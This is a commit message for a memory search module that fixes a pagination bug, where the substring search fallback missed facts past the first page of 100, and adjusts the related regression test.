Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): read the complete scope in the substring search fallback
_search_substring iterated list_facts without paginating, so the
adapter-less fallback only ever saw the default page of 100 facts.
With 150 matching facts in a scope (max_facts allows up to 500),
memory_search returned 100 results for top_k=150 and silently dropped
every match past the first page; DeerMem.search keeps these results
whenever they are non-empty, so its uncapped fallback never ran. Read
the complete scope instead, as the scoped index rebuild already does.
* test(memory): drop in-page fact-100 from the past-page assertion
fact-100 was the last id inside list_facts' old first page
(``matched[0:100]`` in insertion order), so its presence does not
distinguish the fixed search from the pre-fix page; fact-101 and
fact-150 (plus the ``len(results) == 150`` check) carry the regression
signal. Keep a boundary note so the remaining ids are not misread.
